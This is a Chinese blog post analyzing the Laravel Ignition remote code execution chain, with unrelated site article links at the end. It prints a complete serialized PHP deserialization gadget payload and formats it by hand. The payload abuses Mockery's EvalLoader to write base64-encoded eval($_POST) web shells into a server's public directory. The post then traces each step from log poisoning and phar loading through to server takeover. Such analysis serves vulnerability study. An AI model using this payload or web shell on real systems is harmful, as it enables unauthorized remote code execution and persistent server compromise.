O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"*events";O:25:"Illuminate\Bus\Dispatcher":1:{s:16:"*queueResolver";a:2:{i:0;O:25:"Mockery\Loader\EvalLoader":0:{}i:1;s:4:"load";}}s:8:"*event";O:38:"Illuminate\Broadcasting\BroadcastEvent":1:{s:10:"connection";O:32:"Mockery\Generator\MockDefinition":2:{s:9:"*config";O:35:"Mockery\Generator\MockConfiguration":1:{s:7:"*name";s:7:"abcdefg";}s:7:"*code";s:254:"<?php $c='echo PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7ID8+| base64 -d > /Host/laravel/public/server.php';system($c);exec($c);shell_exec($c);eval('file_put_contents("/Host/laravel/public/s.php", base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7ID8+"));'); exit; ?>";}}}

手動格式化後:
O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{
	s:9:"*events";
	O:25:"Illuminate\Bus\Dispatcher":1:{
		s:16:"*queueResolver";
		a:2:{
			i:0;
			O:25:"Mockery\Loader\EvalLoader":0:{}i:1;
			s:4:"load";
		}
	}

	s:8:"*event";
	O:38:"Illuminate\Broadcasting\BroadcastEvent":1:{
		s:10:"connection";
		O:32:"Mockery\Generator\MockDefinition":2:{
			s:9:"*config";
			O:35:"Mockery\Generator\MockConfiguration":1:{
				s:7:"*name";
				s:7:"abcdefg";
			}
			s:7:"*code";
			s:254:"<?php $c='echo PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7ID8+| base64 -d > /Host/laravel/public/server.php';system($c);exec($c);shell_exec($c);eval('file_put_contents("/Host/laravel/public/s.php", base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7ID8+"));'); exit; ?>";
		}
	}
}

Illuminate\Broadcasting\PendingBroadcast 類是一個用於定義和管理廣播事件(BroadcastEvent)的類。通過構造函數傳遞的事件對象來定義要廣播的事件。
Illuminate\Bus\Dispatcher 類是 Laravel 中的命令匯流排(Command Bus)實現的類。這個類負責接收和分發待處理的廣播事件到相應的廣播者(Broadcast Event)。
Mockery\Loader\EvalLoader 類是 Laravel 測試框架所使用的一個庫。這個類負責載入 ‘Mockery’ 庫的一些定義以及動態地生成測試用的模擬對象。
Illuminate\Broadcasting\BroadcastEvent 類是一個實現了廣播事件介面的類。它定義了廣播事件的屬性和行為,例如連接名稱等。
Mockery\Generator\MockDefinition 類是一個用於定義和配置模擬對象的類。它包含了模擬對象的代碼和配置信息。
Mockery\Generator\MockConfiguration 類是 Mockery 庫用於生成模擬對象時的配置類。它定義了模擬對象的名稱等配置信息。

Laravel走了什麼流程導致中招的?

清空日誌:
1. facade/ignition組件是以擴展的形式使用的,laravel載入擴展包情況如下:
服務提供者 將你的擴展包和 Laravel 聯繫在一起。服務提供者負責將事物綁定到 Laravel 服務容器 中,並告訴 Laravel 從哪裡載入擴展包的資源文件,例如視圖、配置文件、語言包等。
服務提供者繼承了 Illuminate\Support\ServiceProvider 類,並包含兩個方法: register 和 boot。基類 ServiceProvider 位於 Composer 擴展包的 illuminate/support 中,你必須將它添加到你的擴展包依賴項中。
2. 此時就到了vendor/facade/ignition/src/IgnitionServiceProvider.php的register方法中。
3. 依據laravel載入擴展規則,boot方法也會在調用register方法的後續的階段中調用。
4. boot方法調用了registerHousekeepingRoutes方法。
5. registerHousekeepingRoutes方法聲明瞭一些路由,其中有一個execute-solution路由。
6. execute-solution路由調用了ExecuteSolutionController控制器,然而這個路由未聲明調用控制器哪的方法,但是出現了一個__invoke魔術方法。當一個對象被作為函數(方法)調用時,PHP 會查找該對象是否實現了 __invoke 方法。如果實現了該方法,PHP 將調用此方法,並將傳入的參數傳遞給 __invoke 方法,此時路由的參數2可能是當做了方法調用,因此invoke方法被調用。
7. 在__invoke方法被調用時,利用反射實例化了SolutionProviderRepository對象,併在接下來的過程中調用了getRunnableSolution方法。
8. 在getRunnableSolution方法中,調用了getSolution方法。
9. 在getSolution方法中,通過接收傳遞過來的solution項中獲取Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution對象。
10. 在getRunnableSolution方法中,getSolution方法的結果賦值給$solution變數,並判斷是否是可運行的解決方案,之後返回。
11. 此時可得,$solution = $request->getRunnableSolution()就是Facade\Ignition\Solutions\MakeViewVariableOptionalSolution對象。
12. 此時已經到了ExecuteSolutionController控制器__invoke方法中的run方法。調用了Facade\Ignition\Solutions\MakeViewVariableOptionalSolution對象的run方法,走到了vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php中的makeOptional方法,上游文章已說明,不在贅述。
13. 接著走到了vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php文件,run方法中的file_put_contents方法,進行了未經嚴格過濾的的寫操作。

添加偏移量:原理同上。

植入編碼後的漏洞代碼:部分同上,代碼執行到vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php中makeOptional方法的file_get_contents()方法就會報錯,報錯的日誌,剛好攜帶著編碼後的漏洞代碼植入到了日誌當中。

格式化:原理同上。

反序列化流程:
1. 部分流程同上,此時到了vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php中makeOptional方法的file_get_contents()方法,使用phar的偽協議調用了格式化後的日誌文件,把日誌當做phar文件執行,開始走序列化日誌裡面的代碼。
2. 序列化Illuminate\Broadcasting\PendingBroadcast,併在構造函數中傳遞一個 Illuminate\Bus\Dispatcher,和Illuminate\Broadcasting\BroadcastEvent對象。其中vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php文件中的via(),toOthers()方法都未被執行,只執行了__destruct()方法。
3. __destruct()方法中的流程,實際是將Illuminate\Broadcasting\BroadcastEvent對象傳入了Illuminate\Bus\Dispatcher對象的dispatch方法。
4. Illuminate\Broadcasting\BroadcastEvent並沒有connection屬性,沒有__wakeup()和__desctuct()方法,此處標記為甲。然後看Mockery\Generator\MockDefinition對象,傳入了Mockery\Generator\MockConfiguration對象,和<?php $c='echo PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7ID8+| base64 -d > /Host/laravel/public/server.php';system($c);exec($c);shell_exec($c);eval('file_put_contents("/Host/laravel/public/s.php", base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7ID8+"));'); exit; ?>的一句話木馬,這裡base64是為了方便編碼,原生的需要轉義,Mockery\Generator\MockConfiguration傳入了一個受保護的成員屬性name,值為abcdefg,此處標記為乙。
5. 然後後回過頭看Illuminate\Bus\Dispatcher,受保護的屬性queueResolver傳遞的是Mockery\Loader\EvalLoader對象,上游已經說了,Illuminate\Broadcasting\BroadcastEvent對象傳入了Illuminate\Bus\Dispatcher對象的dispatch方法,也就是調用了Illuminate\Bus\Dispatcher的dispatch()方法,$command參數就是Illuminate\Broadcasting\BroadcastEvent對象。
6. Illuminate\Bus\Dispatcher的dispatch()方法中,$this->queueResolver是存在的,並且Illuminate\Broadcasting\BroadcastEvent instanceof ShouldQueue是true,所以調用了Illuminate\Bus\Dispatcher下的dispatchToQueue()方法。
7. 上文說到了甲,原本是沒有connection屬性的,結果被硬是被反序列化添加上了這個屬性,流程走到了$queue = call_user_func($this->queueResolver, $connection);
8. 為了徹底理清楚對象,將其參與者列印了出來。{"command":"Illuminate\\Broadcasting\\BroadcastEvent","connection":"Mockery\\Generator\\MockDefinition","queueResolver":[{"Mockery\\Loader\\EvalLoader":[]},"load"]} 
9. 於是可以轉化成$queue = call_user_func([{"Mockery\\Loader\\EvalLoader":[]},"load"], Mockery\\Generator\\MockDefinition);
10.在Mockery\Loader\EvalLoader的load方法中,傳入了Mockery\Generator\MockDefinition對象,此時輸出$definition->getClassName()得到的是abcdefg,正是前文的乙所序列化的數據。
10. 此時已經繞過了判斷類是否存在的驗證,之後就是調用$definition->getCode()方法,$definition對象的由來前文已經說明,正是前文的乙所序列化的數據。利用EvalLoader自帶的eval函數執行惡意的payload,拼接如下結果:?><?php $c='echo PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7ID8+| base64 -d > /Host/laravel/public/server.php';system($c);exec($c);shell_exec($c);eval('file_put_contents("/Host/laravel/public/s.php", base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7ID8+"));'); exit; ?> 
11. ?>符號不影響eval執行,eval關鍵字被執行後,在項目根目錄下生成了兩個一句話木馬文件,至此反序列化漏洞利用完成,伺服器淪陷,黑客攻擊成功,演示完畢。

您的分享是我們最大的動力!

-Advertisement-
Play Games
更多相關文章
  • npm 存在的問題 我們經常使用 npm 來管理 node 項目中的包,從 package.json 中讀取配置將依賴下載到本地,以保障項目的正常運行。 當項目數量多時,這樣的包管理方式會非常的占用電腦記憶體。由於每個項目都有屬於自己的依賴,每個項目都需要安裝,即使 npm 會對依賴進行緩存,但是每個 ...
  • 可以少去理解一些不必要的概念,而多去思考為什麼會有這樣的東西,它解決了什麼問題,或者它的運行機制是什麼? 1. React 中導出和導入 1.1 ES6 解析 ES6 的模塊化的基本規則或特點: 每一個模塊只載入一次, 每一個 JS 只執行一次, 如果下次再去載入同目錄下同文件,直接從記憶體中讀取。一 ...
  • 這裡給大家分享我在網上總結出來的一些知識,希望對大家有所幫助 效果 金幣從初始位置散開後逐個飛向指定位置,這是游戲中很常用的一個動畫,效果如下: 思路 這個效果中,分成兩個階段: 一定數量的金幣從一個起點散開 這些金幣逐一飛向終點 計算金幣的初始散開位置 生成圓周上的等分點 金幣散開的位置看似隨機, ...
  • 古詩文起名 大家好,我是 Java陳序員,我們常常會為了給孩子取名而煩惱,取名不僅要好聽而且要規避大眾化。其實,我們中華文化博大精深,可以借鑒先輩文人們留下的經典詩詞中的文字來起名。今天,給大家介紹一個古詩文起名的工具。 這個工具支持從《詩經》、《楚辭》、《唐詩》、《宋詞》、《樂府詩集》、《古詩三百 ...
  • SubScribe即發佈訂閱模式,在工作中有著廣泛的應用,比如跨組件通信,微前端系統中跨子應用通信等等。 以下是一個簡易的實現: 訂閱 初始化時可限制類型 發佈 限制類型是為了讓訂閱者和發佈者知道預製了哪些類型,避免使用了一些對方不知道的類型。 type Subscriber<T> = (param ...
  • 使用集團的統一埋點採集能力和埋點平臺,完成達達7條業務線共43個站點應用的埋點遷移,降低自研採集工具和平臺的研發投入和機器成本,打通數據鏈路,創造更多的數據分析價值 ...
  • 大家好,我是Java陳序員。 我們在日常開發中,會有很多的應用環境,開發環境、測試環境、回歸環境、生產環境等等。 這些環境,需要部署在一臺台的伺服器上,有的可能是物理機,有的可能是雲伺服器。 那麼,這麼多主機我們要怎麼運維整理呢? 今天,給大家介紹一個輕量級的自動化運維平臺。 項目介紹 Spug—— ...
  • Vue3中響應數據核心是 reactive , reactive 中的實現是由 proxy 加 effect 組合,我們先來看一下 reactive 方法的定義 ...
一周排行
    -Advertisement-
    Play Games
  • 移動開發(一):使用.NET MAUI開發第一個安卓APP 對於工作多年的C#程式員來說,近來想嘗試開發一款安卓APP,考慮了很久最終選擇使用.NET MAUI這個微軟官方的框架來嘗試體驗開發安卓APP,畢竟是使用Visual Studio開發工具,使用起來也比較的順手,結合微軟官方的教程進行了安卓 ...
  • 前言 QuestPDF 是一個開源 .NET 庫,用於生成 PDF 文檔。使用了C# Fluent API方式可簡化開發、減少錯誤並提高工作效率。利用它可以輕鬆生成 PDF 報告、發票、導出文件等。 項目介紹 QuestPDF 是一個革命性的開源 .NET 庫,它徹底改變了我們生成 PDF 文檔的方 ...
  • 項目地址 項目後端地址: https://github.com/ZyPLJ/ZYTteeHole 項目前端頁面地址: ZyPLJ/TreeHoleVue (github.com) https://github.com/ZyPLJ/TreeHoleVue 目前項目測試訪問地址: http://tree ...
  • 話不多說,直接開乾 一.下載 1.官方鏈接下載: https://www.microsoft.com/zh-cn/sql-server/sql-server-downloads 2.在下載目錄中找到下麵這個小的安裝包 SQL2022-SSEI-Dev.exe,運行開始下載SQL server; 二. ...
  • 前言 隨著物聯網(IoT)技術的迅猛發展,MQTT(消息隊列遙測傳輸)協議憑藉其輕量級和高效性,已成為眾多物聯網應用的首選通信標準。 MQTTnet 作為一個高性能的 .NET 開源庫,為 .NET 平臺上的 MQTT 客戶端與伺服器開發提供了強大的支持。 本文將全面介紹 MQTTnet 的核心功能 ...
  • Serilog支持多種接收器用於日誌存儲,增強器用於添加屬性,LogContext管理動態屬性,支持多種輸出格式包括純文本、JSON及ExpressionTemplate。還提供了自定義格式化選項,適用於不同需求。 ...
  • 目錄簡介獲取 HTML 文檔解析 HTML 文檔測試參考文章 簡介 動態內容網站使用 JavaScript 腳本動態檢索和渲染數據,爬取信息時需要模擬瀏覽器行為,否則獲取到的源碼基本是空的。 本文使用的爬取步驟如下: 使用 Selenium 獲取渲染後的 HTML 文檔 使用 HtmlAgility ...
  • 1.前言 什麼是熱更新 游戲或者軟體更新時,無需重新下載客戶端進行安裝,而是在應用程式啟動的情況下,在內部進行資源或者代碼更新 Unity目前常用熱更新解決方案 HybridCLR,Xlua,ILRuntime等 Unity目前常用資源管理解決方案 AssetBundles,Addressable, ...
  • 本文章主要是在C# ASP.NET Core Web API框架實現向手機發送驗證碼簡訊功能。這裡我選擇是一個互億無線簡訊驗證碼平臺,其實像阿裡雲,騰訊雲上面也可以。 首先我們先去 互億無線 https://www.ihuyi.com/api/sms.html 去註冊一個賬號 註冊完成賬號後,它會送 ...
  • 通過以下方式可以高效,並保證數據同步的可靠性 1.API設計 使用RESTful設計,確保API端點明確,並使用適當的HTTP方法(如POST用於創建,PUT用於更新)。 設計清晰的請求和響應模型,以確保客戶端能夠理解預期格式。 2.數據驗證 在伺服器端進行嚴格的數據驗證,確保接收到的數據符合預期格 ...